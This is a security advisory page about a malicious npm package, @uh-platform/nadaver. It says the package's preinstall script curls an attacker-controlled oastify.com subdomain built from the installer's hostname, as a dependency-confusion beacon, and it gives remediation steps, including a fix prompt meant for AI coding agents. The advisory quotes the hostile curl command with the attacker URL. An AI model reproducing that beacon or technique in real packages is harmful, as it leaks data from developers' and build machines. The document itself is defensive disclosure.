# MAL-2026-16360: Malicious code in @uh-platform/nadaver (npm)


- **Type:** Malicious package
- **Package:** `@uh-platform/nadaver` (npm)
- **Published:** 21 Sep 2026
- **Also known as:** GHSA-v7wx-gg27-6p9g

## What is MAL-2026-16360?

MAL-2026-16360 is a malicious package in @uh-platform/nadaver, published on 21 Sep 2026. 

### Official description

On npm install, the package's preinstall script executes `node index.js`, which shells out `curl` to `http://$(hostname).nadaver.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/`, embedding the installer machine's hostname as a subdomain of an attacker-controlled Burp Collaborator (oastify.com) endpoint. Both DNS resolution and the HTTP request leak the installer's hostname to the attacker on every install, with no user interaction. The `@uh-platform` scope combined with an unusually high version number (102.0.0) is consistent with a dependency-confusion beacon aimed at internal build systems that resolve the scope against the public npm registry.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

## What should I do about MAL-2026-16360?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-16360 is a malicious package: @uh-platform/nadaver (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-16360/ (Markdown: https://insights.sbomify.com/MAL-2026-16360/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-16360

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-16360/
Summaries are generated and may contain mistakes; the official description above is the record.
